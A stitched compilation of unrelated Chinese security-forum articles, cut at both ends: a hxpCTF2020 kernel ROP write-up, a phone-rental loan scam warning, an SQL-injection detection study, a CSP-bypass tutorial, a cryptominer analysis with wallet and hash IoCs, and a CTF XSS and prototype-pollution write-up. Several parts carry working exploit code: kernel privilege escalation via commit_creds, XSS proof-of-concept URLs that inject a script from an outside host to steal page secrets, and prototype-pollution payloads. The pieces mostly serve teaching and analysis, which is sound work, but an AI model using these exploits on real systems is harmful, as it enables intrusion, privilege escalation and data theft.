包含整个user-space和部分kernel-space的page tables在运行在user-mode时使用。
可以通过在`-append`选项中指定`kpti=1`或`nopti`启用或禁用。
##### kernel-rop
示例是 hxpCTF2020的kernel-rop，`hackme.ko`存在的漏洞
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
ssize_t v5; // rbx
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+80h] [rbp-20h]
_fentry__(f, data, size, off);
v5 = v4;
v8 = __readgsqword(0x28u);
if ( v4 > 0x1000 ) // size检查是否超过0x1000
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL);
BUG();
}
_check_object_size(hackme_buf, v4, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf, v5); // tmp缓冲区溢出
return v5;
}
由于`tmp`空间只有0x80大小，而来自user的数据可以有0x1000大小，所以存在溢出。
##### leak cookie
tmp地址在`rbp-0xa0`，cookie在`rbp-0x20`
hackme_read函数可以用于泄漏
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
unsigned __int64 v5; // rbx
bool v6; // zf
ssize_t result; // rax
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v9; // [rsp+80h] [rbp-20h]
_fentry__(f, data, size, off);
v5 = v4;
v9 = __readgsqword(0x28u);
_memcpy(hackme_buf, tmp, v4); // 越界读
if ( v5 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL);
BUG();
}
_check_object_size(hackme_buf, v5, 1LL);
v6 = copy_to_user(data, hackme_buf, v5) == 0;
result = -14LL;
if ( v6 )
result = v5;
return result;
}
可以读取tmp后的更多内容，包括cookie
void leak_cookie()
{
unsigned long leak_info[0xa0/8];
memset(leak_info, 0, sizeof(leak_info));
size_t size = read(global_fd, leak_info, 0xa0);
cookie = leak_info[0x80/8];
printf("[*] Leak %zd bytes\n", size);
printf("[*] Cookie: 0x%lx\n", cookie);
return ;
}
##### overwrite return address
不同于userspace的程序，kernel函数退出时会进行三次`pop`操作，因此在cookie后需要三个paddding，之后才是控制执行的地址。
void exploit()
{
unsigned long payload[0x100/8];
unsigned long offset = 0x80/8;
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)escalate_privs; // 引导想要执行的地址
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
##### root privilige
在kernel
exploitation中，目的不是像userland地获取一个shell，而是获取系统的root权限，也称为`escalate_privs`。最常见的方式就是使用两个函数`commit_creds`和`prepare_kernel_cred`，这两个函数就在kernel-space代码中，我们的目的就是像下面这样执行
commit_creds(prepare_kernel_cred(0));
所以，一个简单的`escalate_privs`代码如下
void escalate_privs()
{
__asm__(
"movabs, rax, 0xdeadbeef;" // prepare_kernel_cred
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs, rax, 0xdeadbeef;" // commit_creds
"call rax;"
)
}
所有kernel下的符号地址，可以通过读`/proc/kallsyms`获取，但是需要root权限。
/ # cat /proc/kallsyms | grep commit_creds
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff814c67f0 T prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
##### ByPass KASLR
但是由于`KASLR`的存在，`commit_creds`和`prepare_kernel_code`函数地址每次开机都是随机的，因此需要动态获取。在Part1部分，通过`noaslr`暂时关闭了该机制。
##### Return to userland
在获取root权限后，需要返回一个`userland`的shell，由于上述的代码都是在kernel-mode下执行的，因此需要返回user-mode。
一般地，如果kernel正常运行，执行`sysretq`或者`iretq`将返回到userland。最常用的方式就是`iret`，因为`sysretq`更复杂。
`iretq`指令只需要在栈上按顺序提前设置5个用户态寄存器：`RIP|CS|RFLAGS|SP|SS`。
进程分别为user-mode和kernel-mode保存两组上述寄存器，所以执行完kernel-mode后，必须为这些寄存器设置为user-mode的值。
对于`RIP`，我们可以简单地设置为弹出shell的函数地址；而对于其他寄存器，如果我们设置为一些随机值，进程或许会执行异常。为了解决这个问题，一个明智的办法就是：在进入kernel-mode之前保存这些寄存器的状态，获取root权限之后，再重新还原状态。
保存寄存器状态的函数：
void save_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
除此之外，在x86_64中，在执行`iretq`前需要执行`swapgs`指令，用于切换kernel-mode和user-mode的GS寄存器。完善后的`escalate_privs`函数
void escalate_privs()
{
user_rip = (unsigned long)get_root_shell;
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" // prepare_kernel_cred
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" // commit_creds
"call rax;"
"swapgs;" // swap kernel-mode user-mode gs
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
puts("[*] Escalate privilges done ");
}
当关闭所有的保护方式时，就可以运行上述代码，获取root权限的shell。
int main()
{
save_state();
open_dev();
leak_cookie();
exploit();
puts("[!] Should never be reached!");
return 0;
}
##### Debug Running Module
在调试exploit过程中，经常需要调试观察，通过`qemu + gdb`可以远程调试kernel，在qemu启动时，加上`-s`选项。
启动kernel后，需要获取想要调试的目标模块下需要下断的地址，比如这里的hackme_write
/ # cat /proc/kallsyms | grep hackme_write
ffffffffc00710d0 t hackme_write [hackme]
/ # cat /proc/kallsyms | grep hackme_read
ffffffffc0071000 t hackme_read [hackme]
之后，gdb远程连接，下断点
gdb ./vmlinux
target remote localhost:1234
b* ffffffffc00710d0
c
和调试userland进程一致了。 | 社区文章 |
# 套路贷新“靶场”，“租机套现”中介产业藏猫腻
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，360手机先赔收到用户反馈，在使用京东白条分期套现过程中受骗。通过对反馈情况的深入研究，发现了“分期套现”、“租机套现”等产业里的猫腻。
## 案例经过
用户通过网络搜索“贷款”，发现了京东“白条”套现商家。双方添加后按照对方指导，用户使用京东“白条”购买了苹果手机，并填写指定的收货地址，对方表示将收到商品出售，商品款抽取8%佣金后，给用户返款92%。然而，对方收到货后，以商家暂未付款、手机网络不好无法转账等理由拒不向用户转账，用户得知受骗。
## 深扒“分期套现”“租机套现”产业猫腻
**首先，卫士妹给大家科普几个行业“黑话”名词：**
“租机套现”中介会帮助用户挑选市面上风控低免押金信用租机平台，行话也叫“口子”，待设备到了中介手中后，售卖抽佣后给用户资返钱。
**整个套现过程，中介存在的价值主要在于口子推荐和变现环节，** 租机环节还是得靠用户自己。
图片来自网络，分别为提交信用认证、售卖套现
## “租机平台”风险分析
**1、“租机平台”——套路贷新“靶场”** **（配简图）**
随着国内打击各类违规贷款平台力度加强，贷款平台的数量缩减。“租机平台”成为了申贷者眼中的新“口子”。与传统网贷平台相比，“租机平台”套现的成本远远高于借贷平台：一方面是套现成本高；一方面是杂七杂八的手续费，除了租金费用外，部分“租机平台”会要求用户缴纳意外保障、碎屏保障等费用。
**2、“租机平台”衍生出的暴力催债** **（配简图）**
“租机平台”的催收方式，几乎全盘复制了套路贷行业的催收。据了解，“爆”通讯录，短信轰炸等方式轮番上场。
**3、借助“租机平台”衍生出各类诈骗** **（配简图）**
除360手机先赔用户反馈的情况外，在各类贷款口子平台也多见被租机套现中介诈骗的案例。所以，广大用户要谨慎选择，避免落入套现被骗的境地。 | 社区文章 |
# 【技术分享】三种特征向量对深度学习攻击检测的影响
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：manning@天眼实验室
**0x00 文章介绍**
****
深度学习与网络安全结合是未来网络安全的一个大趋势，我们今天以基于深度学习的主流算法对SQL注入行为进行检测，来抛出三种特征向量对深度学习模型检测效果的影响。
**0x01 深度学习简介**
****
深度学习（Deep
Learning）是机器学习的分支，它试图使用包含复杂结构或由多重非线性变换构成的多个处理层对数据进行高层抽象的算法。深度学习是机器学习中一种基于对数据进行表征学习的方法。深度学习的好处是用非监督式或半监督式的特征学习和分层特征提取高效算法来替代手工获取特征。在我们的实验中，使用的是Python深度学习库：
TensorFlow。使用的模型是：
**多层感知器**
多层感知器（Multilayer
Perceptron,缩写MLP）是一种前向结构的人工神经网络，映射一组输入向量到一组输出向量。MLP可以被看作是一个有向图，由多个的节点层所组成，每一层都全连接到下一层。除了输入节点，每个节点都是一个带有非线性激活函数的神经元（或称处理单元）。[详细介绍](https://zh.wikipedia.org/wiki/%E5%A4%9A%E5%B1%82%E6%84%9F%E7%9F%A5%E5%99%A8)
**卷积神经网络**
卷积神经网络（Convolutional Neural Network,
CNN）是一种前馈神经网络，它的人工神经元可以响应一部分覆盖范围内的周围单元，对于大型图像处理有出色表现。卷积神经网络由一个或多个卷积层和顶端的全连通层（对应经典的神经网络）组成，同时也包括关联权重和池化层（pooling
layer）。这一结构使得卷积神经网络能够利用输入数据的二维结构。与其他深度学习结构相比，卷积神经网络在图像和语音识别方面能够给出更优的结果。这一模型也可以使用反向传播算法进行训练。相比较其他深度、前馈神经网络，卷积神经网络需要估计的参数更少，使之成为一种颇具吸引力的深度学习结构。[详细介绍](https://zh.wikipedia.org/wiki/%E5%8D%B7%E7%A7%AF%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C)
**循环神经网络**
递归神经网络（RNN）是两种人工神经网络的总称。一种是时间递归神经网络（recurrent neural
network），另一种是结构递归神经网络（recursive neural
network）。时间递归神经网络的神经元间连接构成有向图，而结构递归神经网络利用相似的神经网络结构递归构造更为复杂的深度网络。RNN一般指代时间递归神经网络。单纯递归神经网络因为无法处理随着递归，权重指数级爆炸或消失的问题（Vanishing
gradient
problem），难以捕捉长期时间关联；而结合不同的LSTM可以很好解决这个问题。[详细介绍](https://zh.wikipedia.org/wiki/%E9%80%92%E5%BD%92%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C)
**实验中使用的网络结构**
**多层感知器**
神经网络结构为：
**输入层**
**隐藏层 L1**
**隐藏层 L2**
**隐藏层 L3**
**输出层**
每个隐藏层使用128个神经元，激活函数为relu。
上图为 **TensorBoard** 输出的结构图。
**实验中使用的网络结构**
**卷积神经网络**
神经网络结构为：
输入层
卷积层
池化层
卷积层
池化层
全连接层
输出层
**循环神经网络**
神经网络结构为：
输入层
向前层
向后层
输出层
**PS：训练集和测试集来自于360企业安全-天眼大数据平台，模型纯度良好。**
**0x02 特征向量介绍**
****
我们的特征向量转化，使用了三种方法，也是目前应对字符串比较好的方法选择。
基于word2vec的特征向量
基于词袋的特征向量
基于fofe的特征向量
**基于word2vec的特征向量**
word2vec可以根据模型把词汇转化成一个多维的特征向量，在构建语句的特征时，我们采用暴力的向量相加的方式。
word2vec在自然语言的实验中，可以很好的表示词语见的关系。具体可以参考[维基百科语料中的词语相似度探索](http://www.52nlp.cn/tag/word2vec)
**基于词袋的特征向量**
词袋向量，我们在天眼实验室的攻击平台上，挑选了在SQL注入中最常出现的250个词汇，构建词袋模型。
词袋模型的参考
[BoW（词袋）模型详细介绍](http://blog.csdn.net/u010213393/article/details/40987945)
**基于FOFE的特征向量**
FOFE是一种简单精妙的rule-base编码方式。通俗的说就是，在one-hot的基础上利用了数值的大小表明了词的位置信息的一种编码形式。我们基于上面词袋模型的基础，加入了FOFE算法。
FOFE算法的具体论文，来自江辉老师。
[The Fixed-Size Ordinally-Forgetting Encoding Method for Neural Network
Language
Models](https://www.aclweb.org/anthology/P/P15/P15-2081.pdf?spm=5176.100239.blogcont118686.20.PWd2AD&file=P15-2081.pdf)
**0x03 实验结果分析**
****
我们的训练数据为50000条，测试数据为500000条。
三种向量结果都表现了非常好的准确度。
从上图可以看出，基于FOFE的特征向量和词袋特征向量的表现并没有出现特别明显的差距，位置元素的融入并没有给FOFE特征向量带来明显的检测水平的提升。word2vec的向量在真实集表现的不是很好，其中的原因是我们建立句子，使用的是向量相加的粗暴方法，并不能体现word2vec对句子的属性体现。
从上图可以看出，基于word2vec的特征向量的判断速度明显慢于其他两种方法。基于词袋的速度比基于fofe的速度快一点，本质原因是fofe算法的引入，带来了一定的计算量，符合速度降低的预期。
**0x04 总结**
****
笔者认为，本次我们利用三种建立向量的方式和三种神经网络结构进行交叉实验，探讨三种方式的向量形式和神经网络结构之间的关系，算是抛砖引玉。本次实验最为惊讶的是
CNN 和 word2vec的组合在真实集表现的最好。基于FOFE的特征向量具有顺序的概念，但是未能在词袋模型的基础上带来更好的检测结果。
深度神经网络在安全检测方面，可以带领我们进入检测“未知的未知”的能力层次，这点也是我们必须要对此付出努力的方向。路要一步一步走，我们会在这个方向上继续前行。
**0x05 参考引用**
****
<https://zh.wikipedia.org/wiki/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0>
[https://yq.aliyun.com/articles/118686?spm=5176.100239.0.0.g2XnLx](http://https://yq.aliyun.com/articles/118686?spm=5176.100239.0.0.g2XnLx)
[http://www.52nlp.cn/tag/word2vec](http://http://www.52nlp.cn/tag/word2vec)
[http://blog.csdn.net/u010213393/article/details/40987945](http://http://blog.csdn.net/u010213393/article/details/40987945) | 社区文章 |
原文：<https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa>
内容安全策略或CSP是一种内置的浏览器安全措施，用于防御跨站点脚本（XSS）等Web攻击。该策略的规则用于定义一组浏览器可以安全地从中加载内容的路径和源，并给出相应的描述。其中，这些资源包括图像、frame、javascripts等。
但是，能否在CSP规则禁用不安全的资源来源的情况下，成功发动XSS攻击呢？读者请不要着急，慢慢往下看就可以了。
**正常情况下CSP是如何运作的**
* * *
这里的一个常见用法是：CSP规定只能从当前域加载图像——这意味着，所有带有外部域的标记都将被忽略。
CSP策略通常用于阻止不可信的JS代码，从而将XSS攻击得手的可能性降到最低。
下面的CSP示例将允许加载和执行本地域（self）的资源，并且允许使用内联资源：
Content-Security-Policy：default-src'self''unsafe-inline';
由于安全策略都遵循“除非明确允许，否则禁止”的原则，所以，该配置将禁用通过字符串创建代码的所有函数。例如：由于设置了unsafe-eval，所以eval、setTimeout、setInterval等函数都将被阻止。
此外，来自外部源的所有内容也将被阻止，其中包括图像、CSS、websockets，尤其是JS代码。
为了更好地理解CSP的工作原理，不妨先来看看我故意植入了XSS漏洞的[代码](http://hsts.pro/csp.php
"代码")。请尝试在不引起用户警觉的情况下（即没有重定向）窃取机密信息。
**欺骗CSP**
* * *
尽管面临诸多限制，我们仍然可以上传脚本、创建frame并放入图像，因为self并没有禁用SOP策略管理的资源。由于CSP也适用于frame，因此相同的策略也可以管理包含数据、blob或文件的frame。
那么，我们真的可以在测试文件中执行任意的javascript代码吗？答案马上就要揭晓了。
在继续阅读之前，务必记住这一点：大多数现代浏览器会自动将文件（如文本文件或图像）转换为HTML页面。
浏览器之所以这么做，是为了能够在浏览器窗口中正确描述相关内容：它需要布置正确的背景，进行居中，等等。但是，iframe也是一个浏览器窗口！因此，只要内容类型正确，那么，在打开需要利用iframe在浏览器中显示的任何文件（即favicon.ico或robots.txt）的时候，将立即将它们转换为HTML，而无需进行任何数据检查。
如果frame可以打开没有CSP标头的网站页面的话，那会发生什么呢？想必您已经猜到答案了。如果没有CSP，打开的frame将执行页面内的所有JS代码。如果页面带有XSS漏洞，我们就可以自己将js写入frame。
为了验证这一点，让我们看看打开iframe时的场景。接下来，我们以前面提到过的bootstrap.min.css为例进行演示。
frame=document.createElement(“iframe”);
frame.src=”/css/bootstrap.min.css”;
document.body.appendChild(frame);
我们来看一下frame中发生了什么。正如预期的那样，CSS被转换成了HTML，并且，我们覆盖了head的内容（即使它开始时是空的）。接下来，让我们看看是否可以通过外部JS文件来读取其内容。
script=document.createElement(‘script’);
script.src=’//bo0om.ru/csp.js’;
window.frames[0].document.head.appendChild(script);
成功了！通过这种方式，我们就可以通过iframe执行注入攻击，创建我们自己的js脚本，然后通过查询父窗口来窃取其数据。
为了成功发动XSS攻击，只需打开iframe并使其指向任何不包含CSP头部的路径即可。它可以是标准的favicon.ico、robots.txt、sitemap.xml、css/js、jpg或其他文件。
[PoC
](http://hsts.pro/csp.php?xss=f=document.createElement%28%22iframe%22%29;f.id=%22pwn%22;f.src=%22/robots.txt%22;f.onload=%28%29=%3E%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;
"PoC ")
**百尺竿头，更进一步**
* * *
如果网站开发人员非常谨慎，把我们想要的网站响应（200-OK）都设置了X-Frame-Options: Deny，那咋整呢？
不要着急，我们仍然可以设法发动攻击。使用CSP的第二个常见错误，是在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点，最简单方法是尝试打开并不存在的网页。我发现，许多资源只为含有200代码的响应提供了X-Frame-Options头部，而没有为包含404代码的响应提供相应的头部。
鉴于此，我们还可以设法让网站返回标准Web服务器的“invalid request”消息。
例如，为了强制NGINX返回“400 bad
request”，你唯一需要做的，就是使用/../访问其上一级路径中的资源。为防止浏览器对请求进行规范化处理，导致/../被/所替换，对于中间的两个点号和最后一个斜线，我们可以使用unicode码来表示。
frame=document.createElement(“iframe”);
frame.src=”/%2e%2e%2f”;
document.body.appendChild(frame);
这里的另一种可能的方法是传递不正确的unicode路径，如/％或/%%z。
但是，让Web服务器返回错误的最简单方法是让URL超过所允许的长度。大多数现代浏览器都可以“鼓捣”一个比Web服务器可以处理的长得多的URL。例如，NGINX和Apache等Web服务器的默认URL长度通常被设置为不超过8kB。
为了验证这一点，我们来看看路径长度为20000字节时的情形：
frame=document.createElement(“iframe”);
frame.src=”/”+”A”.repeat(20000);
document.body.appendChild(frame);
另一种欺骗服务器返回错误的方法是触发cookie长度限制。同样，这是因为当前浏览器支持的cookie越来越长，已经超出了Web服务器所能处理的范围，例如：
1. 创建一个巨型的 cookie
for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};
2.使用任何地址打开iframe，都会导致服务器返回错误（通常没有XFO或CSP）
3.删除巨型cookie：
for(var i=0;i<5;i++){document.cookie=i+”=”}
4.将自己的js脚本写入frame中，用以窃取其父frame中的秘密信息。
大家不妨亲自试试。如果您需要的话，可以参考这里的[PoC](http://hsts.pro/csp.php?xss=for%28var%20i=0;i%3C5;i%2b%2b%29%7Bdocument.cookie=i%2b%22=%22%2b%22a%22.repeat%284000%29%7D;f=document.createElement%28%22iframe%22%29;f.id=%22pwn%22;f.src=%22/%22;f.onload=%28%29=%3E%7Bfor%28var%20i=0;i%3C5;i%2b%2b%29%7Bdocument.cookie=i%2b%22=%22%7D;x=document.createElement%28%27script%27%29;x.src=%27data:,alert%28%22Pwned%20%22%2btop.secret.textContent%29%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;
"PoC")。
当然，还有许多其他方法也能让Web服务器返回错误，例如，可以发送一个过长的POST请求，或者以某种方式引发Web服务器的500错误。
**为什么CSP如此容易上当，以及如何应对**
* * *
根本原因是控制资源的策略被嵌入在资源本身中。
为了避免上述情况，我的建议是：
* CSP头部应出现在所有页面上，包括Web服务器返回的错误页面。
* 在配置CSP选项时，应该尽量压缩权限，只要能访问特定资源就行了。例如，最初可以设置Content-Security-Policy-Report-Only：default-src'none'，然后再逐步为特定场景添加相应的权限规则。
如果不得不使用unsafe-inline来正确加载和处理资源的话，那么唯一的安全做法，就是使用nonce或hash-source了。否则，您将面临XSS攻击的威胁，但是，如果CSP无法提供保护，我们要它何用呢？
此外，正如@majorisc指出的那样，从页面窃取数据的另一个方法是使用RTCPeerConnection，并通过DNS请求传递秘密数据。不幸的是，default-src'self'并不能防御这种攻击。 | 社区文章 |
# 一个针对“比特票”挖矿木马样本的分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**@任子行攻防实验室**
## 一．背景
近期接到客户反馈，其网络中有部分终端机器异常，拿到客户提供的样本分析后定性为是一起挖矿木马入侵事件，该挖矿木马复用了大量开源代码，用于对BTV（“比特票”，一种基于比特币的分支币种）进行挖矿。
## 二．样本详细分析
通过分析客户提供的样本，发现样本实际上是不全的，但是并不影响对本次威胁的定性。其中最主要有三个样本文件：
样本名
|
功能
|
SHA256
---|---|---
run.bat
|
启动挖矿进程的bat脚本
|
a02d5079ae3eeacb463aa855a1daec72587ff2bbf576cb95081ad9b56d614684
Svchost.exe
|
基于NSSM的保护进程
|
29F0DBF2D07C4B68C3C9EE0D139D80BAD3E9058FBF9DBD574CB5B047CF742E74
Systmss.exe
|
挖矿进程
|
24AE1FCD6080097248C1F2171218DA3DBD22E46CFEF854A0EC646AD80A503014
客户提供的样本缺少的应该是一个安装程序，用于打包以上三个程序以及安装挖矿进程和启动保护进程。由于没有该起威胁的母体程序以及在受害计算机上取证，只在样本分析的角度并不好判断其是如何伪装感染用户计算机的。一般来说会通过程序打包软件对其打包，然后伪装成视频、压缩包等通过邮件或者挂马等方式来诱骗安全意识薄弱的用户点击。
### **2.1 run.bat 样本**
该文件内容是为:
通过bat脚本传参调用程序开始挖矿。根据矿池地址知道其属于一种新的虚拟币种——比特票。比特票（BitVote）是2018年1月20日上线的一种新型比特币分叉币，采用CryptoNight算法，矿工可以使用自己的CPU挖矿并参与投票。
从https://www.vvpool.com可以看到其价格当前为0.49美元。
其官网介绍：
截至两次分析时间，该挖矿样本对应的钱包信息如下：
最新支付记录：
最早支付记录：
从支付记录来看，该挖矿木马在2018年2月初活跃至今。
### **2.2 svchost.exe 样本**
该样本伪装成系统进程名svchost.exe用于迷惑受害者，该样本主要功能是用于保护挖矿程序被kill后可以重新启动。
分析样本最后发现svchost.exe是基于NSSM编写的，样本中的主函数wmain位置代码：
与github上NSSM（https://github.com/kirillkovalenko/nssm）的代码比较，代码逻辑完全是一致的：
其中NSSM是一个服务管理工具，它可以以NT服务开启应用，无论应用以何种方式失败均会尝试重启应用，参考其说明：
通过VT关联分析，该样本原始文件名是nssm.exe，设涉及大量的样本
涉及的历史文件名：
VT链接：
[_https://www.virustotal.com/#/file/29f0dbf2d07c4b68c3c9ee0d139d80bad3e9058fbf9dbd574cb5b047cf742e74/relations_](https://www.virustotal.com/#/file/29f0dbf2d07c4b68c3c9ee0d139d80bad3e9058fbf9dbd574cb5b047cf742e74/relations)
### **2.3 systmss.exe 样本**
systmss.exe程序是负责挖矿的程序，从其代码中的信息分析，发现其是基于https://github.com/lucasjones/cpuminer-multi位置的项目编写的。
Systmss.exe中代码的片段：
对应到cpuminer-multi这个项目中的代码：
通过分析，Systmss.exe的代码完全是基于cpuminer-multi开源项目，cpuminer-multi是一个开源的多线程CPU挖矿程序，从其github页面可知，当前支持的算法较多，
同时支持ARM、PowerPC、x86以及x86-64多种架构的CPU挖矿。
挖矿程序运行后会释放几个挖矿程序所依赖的DLL文件：
通过VT关联分析，也发现了几个相关的事件：
VT链接：
[_https://www.virustotal.com/#/file/24ae1fcd6080097248c1f2171218da3dbd22e46cfef854a0ec646ad80a503014/relations_](https://www.virustotal.com/#/file/24ae1fcd6080097248c1f2171218da3dbd22e46cfef854a0ec646ad80a503014/relations)
## 三．总结
该样本基于服用大量开源代码来编写，尤其基于NSSM来编写保护进程这种操作确实对于免杀程序有一定的效果。对于在2018年1月才发布的虚拟货币BTV便有一些针对其挖矿的木马进行传播，可见当前对于虚拟货币的挖矿依旧也是越演愈烈的状况，由于这一类恶意软件的制作门槛较低但是可以大量牟利，所以可以推测未来该类挖矿恶意软件的出现也会越来越多。
## 四．IoCs
BTV挖矿信息：
btv.vvpool.com:5700
13mUp3VADQGJF8k1GuSkhV4md5xCh6HwL4.586
样本HASH：
a02d5079ae3eeacb463aa855a1daec72587ff2bbf576cb95081ad9b56d614684
29F0DBF2D07C4B68C3C9EE0D139D80BAD3E9058FBF9DBD574CB5B047CF742E74
24AE1FCD6080097248C1F2171218DA3DBD22E46CFEF854A0EC646AD80A503014 | 社区文章 |
本文由 [@D0g3](https://www.d0g3.cn/about) 编写
i-SOON_CTF_2020 部分题目环境/源码后续将在Github开源
[项目地址](https://github.com/D0g3-Lab/)
# Web
## XSS
#### 预期
poc:
http://47.108.162.43:3000/?data={"__proto__":{"innerText":"<img src="" onerror=alert`1`>//"},"text":"<h>"}
santinize-html第16879行，text与frame.innerText整合为result，作为return的结果
if (options.selfClosing.indexOf(name) !== -1) {
result += " />"
} else {
result += ">";
if (frame.innerText && !hasText && !options.textFilter) {
result += frame.innerText;
addedText = true
}
}
只要是任意白名单标签都可以在其后加入任意内容
#### 非预期
`ddddhm`队伍师傅用jq的非预期
jquery在init的时候会自动进行一次paseHTML(即使没有调用任何方法)。jquery yyds
## Validator
#### 题目信息
题目考点：
1. Nodejs代码审计
2. 原型链污染分析
解题思路：
* 获取源码
由于express-static配置错误，导致可以任意查看静态文件
直接访问获取源码与环境：
/app.js
/package.json
* validator原型链污染漏洞
出题的思路来自于XNUCA2020的一道原型链污染题，原题的正解是污染原型链value值为空，但是0ops的师傅在解题的过程中做到了任意原型链污染，这题就是以这个任意原型链污染为基础的。(师傅们在做题的时候应该是可以直接搜到这个payload的)
参考原比赛的wp：[oooooooldjs](https://github.com/NeSE-Team/XNUCA2020Qualifier/tree/main/Web/oooooooldjs)
针对任意原型链污染这个点，深入的分析在后面。
题目部分源码：
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
这里只有一个简单的info.system_open的判断，所以我们只需要构造出能够污染info.system_open的payload即可。
最终构造出的payload如下：
{"password":"D0g3_Yes!!!", "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes" }
#### express-validator 6.6.0 原型链污染详细分析
##### 测试用例
测试例子:
const express = require('express')
const app = express()
const port = 9000
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
const {
body,
validationResult
} = require('express-validator')
middlewares = [
body('*').trim() // 对所以键值进行trim处理
]
app.use(middlewares)
app.post("/user", (req, res) => {
const foo = "hellowrold"
return res.status(200).send(foo)
})
app.listen(port, () => {
console.log(`server listening on ${port}`)
})
依赖包版本：
npm init
npm install [email protected]
npm install [email protected]
npm install express
express-validator参考：<https://express-validator.github.io/docs/>
在分析这个原型链污染漏洞之前，我们先对express-validator的过滤器(sanitizer)的实现流程进行一个分析。
##### 过滤器(sanitizer)实现流程
在src/middlewares/validation-chain-builders.js文件中找到body的实现
传递到了check_1.check方法中，跟入check.js文件
location传递进来后传递到setLocations方法里创建了一个builder对象，并传入到chain_1.SanitizersImpl方法中。对于return，在题目的Wirteup中有以下的描述：
> 先看return的地方，check函数里的middleware就是express-> validator最终对接express的中间件。utils_1.bindAll函数做的事情就是把对象原型链上的函数绑定成了对象的一个属性，因为Object.assign只做浅拷贝，utils.bindAll之后Object.assign就可以把sanitizers和validators上面的方法都拷贝到middleware上面了，这样就能通过这个middleware调用所有的验证和过滤函数。
针对bindAll，我个人的理解是：bindAll函数就是把需要调用的方法都绑定到middleware上进而实现链式调用。
* 什么是链式调用：<https://juejin.im/post/6844904030221631495>
* bindAll方法: <https://my.oschina.net/cangy/blog/301038>
传入bindAll的参数值是通过Chain_1.SanitizersImpl返回的，可以通过chain.js确定到这个函数的定义位置为src/chain/sanitizers-impl.js。
在这个类中存在很多的过滤器(sanitizer)，过滤器实现的方法都调用了this.addStandardSanitization()将过滤器传入到sanitization_1.Sanitization()方法中，得到的结果最终传递给this.builder.addItem()。
先来看sanitization_1.Sanitization()方法，位置在：src/context-items/sanitization.js：
这个Sanitization类中的run方法最终通过调用sanitizer方法设置了context的值。(context后面的处理过程在漏洞分析部分)
再来看this.builder.addItem()做了什么，位置在src/context-builder.js
就是把传入进来的值压入this.stack栈中。
回到Sanitization类中的run方法，这个run方法是在哪调用的呢？再看到check.js，这里创建了一个runner对象，并在middleware里调用了run方法：
同样可以从chain/index.js中找到实现runner.run方法的具体位置为：
这里可以看到是从context.stack里面循环遍历了contextItem，并调用了其run方法。在这条循环语句处下断点查看一下context的内容：
在stack里面就是包含了我们所调用的过滤器，而这个context.stack也就是this.builder.addItem()所设置的值。
这就是完整的express-validator的过滤器(sanitizer)的实现流程，wp中对这个过程有一个总结：
> express-> validator的做法是把各种validator和sanitizers的方法绑定到check函数返回的middleware上，这些validator和sanitizer的方法通过往context.stack属性里面push
> context-items，最终在ContextRunnerImpl.run()方法里遍历context.stack上面的context-> items，逐一调用run方法实现validation或者是sanitization
我这里画了一个流程图来梳理这一过程：
(这个流程图画的比较复杂，如果你尝试跟过一遍的话再来看这个流程图就会比较容易理解一些
##### lodash < 4.17.17 原型链污染
<https://snyk.io/vuln/SNYK-JS-LODASH-608086>
lod = require('lodash')
lod.setWith({}, "__proto__[test]", "123")
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
##### express-validator中lodash原型链污染漏洞攻击面
